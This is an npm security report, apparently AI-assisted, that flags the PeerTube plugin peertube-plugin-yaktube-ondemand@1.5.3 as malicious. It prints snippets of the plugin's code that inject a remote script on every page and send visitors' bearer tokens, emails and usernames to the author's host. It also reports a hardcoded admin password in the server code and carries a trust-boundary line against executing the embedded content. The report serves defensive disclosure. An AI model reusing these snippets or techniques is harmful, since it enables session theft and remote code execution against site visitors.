--- canonical: "https://firewall.lpm.dev/npm/peertube-plugin-yaktube-ondemand/v/1.5.3" markdown: "https://firewall.lpm.dev/npm/peertube-plugin-yaktube-ondemand/v/1.5.3.md" package: "peertube-plugin-yaktube-ondemand" report_status: "published" title: "peertube-plugin-yaktube-ondemand@1.5.3 npm security report" verdict: "malicious" version: "1.5.3" --- # peertube-plugin-yaktube-ondemand@1.5.3 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Visitors can have arbitrary author script run in the instance origin, their PeerTube session and identity sent to an unrelated host, and their login flow redirected. On a server where the baked-in admin password works, unauthenticated callers can drive admin video imports. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.5.3 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. On every page of an installing PeerTube instance, the plugin loads author-controlled remote script, opens a hidden SSO frame, and by default forwards the visitor PeerTube bearer token, email, and username to developer-console.yakhub.com.tr. The server side also authenticates to the local PeerTube API with a hardcoded admin password. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 93.0% - **Started:** 2026-09-28T00:02:45.534Z - **Finished:** 2026-09-28T00:04:22.957Z - **Download time:** 260 ms - **Static scan time:** 131 ms - **AI review time:** 97031 ms - **Total time:** 97423 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** On every page of an installing PeerTube instance, the plugin loads author-controlled remote script, opens a hidden SSO frame, and by default forwards the visitor PeerTube bearer token, email, and username to developer-console.yakhub.com.tr. The server side also authenticates to the local PeerTube API with a hardcoded admin password. - **Trigger:** PeerTube loads the common client script on page view, and the import route runs when a caller posts a YouTube URL. - **Impact:** Visitors can have arbitrary author script run in the instance origin, their PeerTube session and identity sent to an unrelated host, and their login flow redirected. On a server where the baked-in admin password works, unauthenticated callers can drive admin video imports. - **Evidence paths:** package.json, client.js, main.js - **Review source:** ai\_review - **Reviewed:** 2026-09-28T00:04:22.957Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The client injects a latest remote script, embeds an author SSO iframe, hijacks login navigation, accepts unauthenticated postMessage session events, and fetch-posts the local access token to the author API. The server password-grants a fixed admin account on 127.0.0.1 port 9000 and imports as that user. - **Attack narrative:** Installing the plugin injects client.js on every PeerTube page. That script loads a mutable script from the publisher CDN, opens a hidden frame on developer-console.yakhub.com.tr, and redirects login clicks to the publisher OAuth host. A message handler does not check origin and can clear local tokens. If the visitor is logged in, the page attaches the PeerTube bearer token, email, and username and sends them to the publisher search-history API unless an opt-out flag already exists. Separately, main.js uses a hardcoded admin password against the local PeerTube API to perform imports. - **Rationale:** The plugin is not limited to YouTube search: every visitor page loads publisher remote code and, by default, forwards the local PeerTube session token to the publisher host, while the server uses a hardcoded admin password. Those behaviors are an active credential and remote-code attack on any instance that installs the package. - **Network endpoints:** https://cdnjs.yakhub.com.tr/ajax/libs/yaknet-account/latest/yaknet-account.js, https://developer-console.yakhub.com.tr/sdk/sso-frame, https://developer-console.yakhub.com.tr/api/yaktube/search-history, https://developer-console.yakhub.com.tr/oauth/authorize, 127.0.0.1:9000 ### Review decision - **Verdict:** Malicious - **Confidence:** 93.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** package.json registers client.js for the PeerTube common scope, so the client bundle runs on every page of any instance that installs the plugin., That page script inserts a remote script from cdnjs.yakhub.com.tr using a mutable latest path., When a browser session is logged in, the page sends the local PeerTube access token plus email and username to developer-console.yakhub.com.tr unless a local opt-out flag was already set., A hidden iframe loads the author SSO host, login clicks are redirected to that host, and a message listener with no origin check can wipe local session keys., The server plugin logs into the local PeerTube API with a hardcoded administrator username and password and uses that token to import videos. - **Evidence against:** package.json declares no preinstall, install, or postinstall hook., YouTube search calls yt-dlp through execFile with a fixed argument list rather than a shell string., The APK download control is limited to the author hostname and localhost. ## Affected versions and remediation This report applies to peertube-plugin-yaktube-ondemand@1.5.3. - Avoid installing peertube-plugin-yaktube-ondemand@1.5.3. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Secret Pattern - **Category:** Secrets - **Confidence:** 75.0% - **Path:** main.js - **Public source:** [View source]() Package contains a possible secret pattern. Public source snippet (untrusted): ```javascript patternName = generic_password severity = medium line = 137 ``` ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** main.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: const { execFile } = require('child_process'); L2: const path = require('path'); ``` ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. High: Same File Env Network Execution - **Category:** Source - **Confidence:** 85.0% - **Path:** main.js - **Public source:** [View source]() A single source file combines environment access, network access, and code or shell execution; review context before blocking. Public source snippet (untrusted): ```javascript L1: const { execFile } = require('child_process'); L2: const path = require('path'); L3: const http = require('http'); L4: const fs = require('fs'); ... L15: // 1. Environment variable override L16: if (process.env.YTDLP_PATH && fs.existsSync(process.env.YTDLP_PATH)) { L17: cachedYtDlpPath = process.env.YTDLP_PATH; ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. Low: Copyleft License - **Category:** Manifest - **Confidence:** 80.0% Package manifest declares a copyleft-style license. ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** package.json - **Public source:** [View source]() package.json registers client.js for the PeerTube common scope, so the client bundle runs on every page of any instance that installs the plugin. Public source snippet (untrusted): ```json "clientScripts": [ { "script": "client.js", "scopes": [ "common" ] } ], "css": [ "style.css" ] ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** client.js - **Public source:** [View source]() That page script inserts a remote script from cdnjs.yakhub.com.tr using a mutable latest path. Public source snippet (untrusted): ```javascript var s = document.createElement('script'); s.id = 'yaknet-account-script'; s.src = 'https://cdnjs.yakhub.com.tr/ajax/libs/yaknet-account/latest/yaknet-account.js'; ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** client.js - **Public source:** [View source]() When a browser session is logged in, the page sends the local PeerTube access token plus email and username to developer-console.yakhub.com.tr unless a local opt-out flag was already set. Public source snippet (untrusted): ```javascript headers['Authorization'] = 'Bearer ' + token; if (email) headers['X-User-Email'] = email; if (username) headers['X-User-Username'] = username; var authUrl = 'htt ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** peertube-plugin-yaktube-ondemand - **Ecosystem:** npm - **Version:** 1.5.3 - **License:** AGPL-3.0-or-later - **Version published:** 2026-09-22T15:57:52.549Z - **Package first seen:** 2026-08-31T12:57:11.335Z - **Package last seen:** 2026-09-28T06:48:19.214Z - **Known versions:** 30 - **Latest version:** 1.5.6 - **Appeal under review:** No - **Description:** Accessible On-Demand YouTube Import, Live Streams, Smart Recommendations, Sleep Timer, Touch Gestures, Voice Assistant & A11y Engine for PeerTube - **Author:** Enes Yakıştır - **Keywords:** peertube, peertube-plugin, ondemand, youtube, yt-dlp, recommendations, accessibility, a11y, screen-reader, sleep-timer, touch-gestures, voice-assistant - **Artifact files:** 8 - **Artifact unpacked size:** 247,167 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()